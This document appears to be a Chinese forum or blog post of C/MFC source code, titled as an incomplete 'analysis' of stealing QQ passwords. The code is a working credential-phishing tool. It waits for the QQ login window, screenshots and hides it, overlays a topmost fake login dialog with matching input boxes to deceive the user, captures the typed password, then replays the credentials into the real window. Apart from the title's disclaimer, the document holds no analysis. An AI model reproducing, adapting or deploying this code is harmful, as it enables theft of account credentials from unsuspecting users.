盗Q过程分析(待完善,仅用于分析)

#include <afx.h>
#include <TlHelp32.h>
#include "resource.h"
char qqid[32] = "\0";
char qqpass[64] = "\0";    //保存用户输入的QQ密码
HWND g_hWnd = NULL;
RECT g_qq_IDRt,g_qq_PassRt,g_qq_LoginRt,g_qq_CancelRt,g_qq_DlgRt;
HBITMAP g_screenBmp=NULL;
HFONT myfont;
HWND QQID = NULL, QQPASS =NULL;
int m_xScreen = GetSystemMetrics(SM_CXSCREEN);
int m_yScreen = GetSystemMetrics(SM_CYSCREEN);

//函数声明
void QQFind();
BOOL ProcessIDToName(LPTSTR,DWORD);
HBITMAP CopyScreenToBitmap(LPRECT lpRect);
LRESULT CALLBACK QQDlg(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam);
BOOL CreateQQItem(HWND hWnd);
int SaveBitmapToFile(HBITMAP hBitmap, LPSTR lpFileName);

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 QQFind();
 return 0;
}

void QQFind()
{
 HWND hWnd1 = NULL,qqID_hWnd = NULL,qqPass_hWnd = NULL;
 HWND ButtonLogin = NULL,ButtonCancel = NULL;
 char sTitle[255];
 CString ss;
 DWORD QQPID;
 //int LoginID;
 BOOL find = FALSE;
 do
 {
  //获取当前活动窗口句柄
  g_hWnd = GetForegroundWindow();
  //获取窗口句柄进程ID
  GetWindowThreadProcessId(g_hWnd,&QQPID);
  //由进程ID获取进程名
  ProcessIDToName(sTitle,QQPID);
  ss = sTitle;
  ss.MakeLower();
  if (ss != "qq.exe" && ss != "QQ.exe")
  {
   Sleep(100);
   continue;
  }
  SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);
  ss=sTitle;
  int n=ss.Find("QQ",0);
  int m=ss.Find("登录",0);
  if (n>=0||m>=0)
  {
   //查找QQ登录窗口句柄
   ButtonLogin = FindWindowEx(g_hWnd,NULL,"Button","登录");
   if (ButtonLogin != NULL)
   {
    ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录"); 
   }
   //LoginID = GetDlgCtrlID(ButtonLogin);
   //获取QQ登录按纽窗口位置
   GetWindowRect(ButtonLogin,&g_qq_LoginRt);
   //查找QQ取消窗口句柄
   ButtonCancel = FindWindowEx(g_hWnd,NULL,"Button","取消");
   if (ButtonCancel != NULL)
   {
    ButtonCancel = FindWindowEx(g_hWnd, ButtonCancel, "Button", "登录"); 
   }
   //获取QQ取消按纽窗口位置
   GetWindowRect(ButtonCancel,&g_qq_CancelRt);
   //查找QQ密码输入框的句柄
   hWnd1 = FindWindowEx(g_hWnd,NULL,"ComboBox",NULL);
   if(hWnd1 != NULL)
   {
    qqID_hWnd = FindWindowEx(hWnd1,NULL,"Edit",NULL);
    //获取QQ密码输入框窗口位置
    GetWindowRect(qqID_hWnd,&g_qq_IDRt);
    SendMessage(qqID_hWnd,WM_GETTEXT,255,(LPARAM)qqid);
   }
   //查找QQ密码输入框的句柄
   hWnd1 = FindWindowEx(g_hWnd,NULL,"#32770",NULL);
   if(hWnd1 != NULL)
   {
    qqPass_hWnd = FindWindowEx(hWnd1,NULL,"Edit",NULL);
    //获取QQ密码输入框窗口位置
    GetWindowRect(qqPass_hWnd,&g_qq_PassRt);
   }
   //先睡眠一段时间，以使QQ窗口完全出现。
   Sleep(100);
   g_qq_DlgRt.left = 0;
   g_qq_DlgRt.top = 0;
   g_qq_DlgRt.right = m_xScreen;
   g_qq_DlgRt.bottom = m_yScreen;
   g_screenBmp = CopyScreenToBitmap(&g_qq_DlgRt);
   //SaveBitmapToFile(g_screenBmp,"e:\\025.bmp");
   ShowWindow(g_hWnd,SW_HIDE);
   HINSTANCE hInstance = GetModuleHandle(NULL);
   DialogBoxParam(hInstance, (LPCTSTR)IDD_QQTDlg, 0, (DLGPROC)QQDlg, 0);

   //设置QQ窗口为可见
   ShowWindow(g_hWnd, SW_SHOW);
   //把QQ号码和密码填到真正的QQ登录窗口上，并模拟单击登陆按钮
   SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);
   SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);
   SendMessage(ButtonLogin, BM_CLICK, 0, 0);
   DeleteObject(g_screenBmp);
   //设置标志退出循环
   find = TRUE;
  }
 } while(find == FALSE);
}

HBITMAP CopyScreenToBitmap(LPRECT lpRect)
{
 HDC hScrDC,hMemDC;
 HBITMAP hBitmap,hOldBitmap;
 int nX1,nX2,nY1,nY2;
 int nWidth,nHeight;
 if (IsRectEmpty(lpRect))
 {
  return FALSE;
 }
 //为屏幕创建设备描述表
 hScrDC = CreateDC("DISPLAY",NULL,NULL,NULL);
 //为屏幕设备描述表创建兼容的内存设备描述表
 hMemDC = CreateCompatibleDC(hScrDC);
  // 获得选定区域坐标
 nX1 = lpRect->left;
 nY1 = lpRect->top;
 nX2 = lpRect->right;
 nY2 = lpRect->bottom;

 //确保选定区域是可见的
 if (nX1 < 0)
  nX1 = 0;
 if (nY1 < 0)
  nY1 = 0;
 if (nX2 > m_xScreen)
  nX2 = m_xScreen;
 if (nY2 > m_yScreen)
  nY2 = m_yScreen;
 nWidth = nX2 - nX1;
 nHeight = nY2 - nY1;
 // 创建一个与屏幕设备描述表兼容的位图
 hBitmap = CreateCompatibleBitmap(hScrDC,nWidth,nHeight);
 // 把新位图选到内存设备描述表中
 hOldBitmap = (HBITMAP)SelectObject(hMemDC,hBitmap);
 // 把屏幕设备描述表拷贝到内存设备描述表中
 BitBlt(hMemDC,0,0,nWidth,nHeight,hScrDC,nX1,nY1,SRCCOPY);
 //得到屏幕位图的句柄
 hBitmap = (HBITMAP)SelectObject(hMemDC,hOldBitmap);
 //清除
 DeleteDC(hScrDC);
 DeleteDC(hMemDC);
 return hBitmap;
}

BOOL ProcessIDToName(LPTSTR lpszProcessName, DWORD ProcessID)
{
 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 PROCESSENTRY32 pe;
 pe.dwSize = sizeof(PROCESSENTRY32);
 if(!Process32First(hSnapshot,&pe))
 {
  return FALSE;
 }
 while (Process32Next(hSnapshot,&pe))
 {
  if(pe.th32ProcessID == ProcessID)
  {
   strcpy(lpszProcessName,pe.szExeFile);
   return TRUE;
  }
 }
 return FALSE;
}

LRESULT CALLBACK QQDlg(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
 BOOL bRet;
 HDC dc,hMemDC;
 POINT pt;
 switch(message)
 {
 case WM_INITDIALOG:
   bRet = CreateQQItem(hDlg);
  //设置对话框占满整个屏幕，并保持最前
   bRet = SetWindowPos(hDlg, HWND_TOPMOST,0, 0, m_xScreen, m_yScreen,SWP_SHOWWINDOW);
   return TRUE;
 case WM_ERASEBKGND:
   //贴上截取的图片来刷新背景
   dc = (HDC) wParam;
   hMemDC = CreateCompatibleDC(dc);
   SelectObject(hMemDC, g_screenBmp);
   BitBlt(dc, 0, 0, m_xScreen, m_yScreen, hMemDC, 0, 0, SRCCOPY);
   DeleteDC(hMemDC);
   return TRUE;

 case WM_LBUTTONDOWN:
  pt.x = LOWORD(lParam);
  pt.y = HIWORD(lParam);
  //判断用户是否点击贴图上QQ登陆的按钮
  if (PtInRect(&g_qq_LoginRt,pt))
  {
   //获取用户的输入
    GetWindowText(QQPASS, qqpass, 64);
    GetWindowText(QQID, qqid, 64);
    MessageBox(hDlg, qqpass, qqid, MB_OK);
    DeleteObject(myfont);
    EndDialog(hDlg, 0);
  }
     break;
 case WM_CLOSE:
  EndDialog(hDlg, 0);
     break;
 }
 return FALSE;
}

BOOL CreateQQItem(HWND hWnd)
{
  //创建字体，因为系统默认是宋体
 myfont=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH|FF_DONTCARE,"Arial");
 
 //创建QQ号码输入文本框
 int Width, Height;
 Width = g_qq_IDRt.right - g_qq_IDRt.left;
 Height = g_qq_IDRt.bottom - g_qq_IDRt.top;
 QQID = CreateWindow("Edit", "", WS_VISIBLE | WS_CHILDWINDOW, g_qq_IDRt.left, \
    g_qq_IDRt.top, Width, Height, hWnd, (HMENU)1000, GetModuleHandle(NULL), NULL);
 
 if(QQID == NULL)
  return FALSE;

 //根据获得的用户号码填充文本框，增加欺骗效果
 SendMessage(QQID, WM_SETTEXT, 0,(LPARAM)qqid);
 SendMessage(QQID,WM_SETFONT, (WPARAM)myfont,(LPARAM)0);    //设置文本框的字体

 //创建QQ密码输入文本框
 Width = g_qq_PassRt.right - g_qq_PassRt.left;
 Height = g_qq_PassRt.bottom - g_qq_PassRt.top;
 QQPASS = CreateWindow("Edit", "", WS_VISIBLE | WS_CHILDWINDOW | ES_PASSWORD, g_qq_PassRt.left, \
    g_qq_PassRt.top, Width, Height, hWnd, (HMENU)1001, GetModuleHandle(NULL), NULL);

 if(QQPASS == NULL)
  return FALSE;
 SendMessage(QQPASS,WM_SETFONT,(WPARAM)myfont, (LPARAM)0);    //设置文本框的字体
 return true;
 
}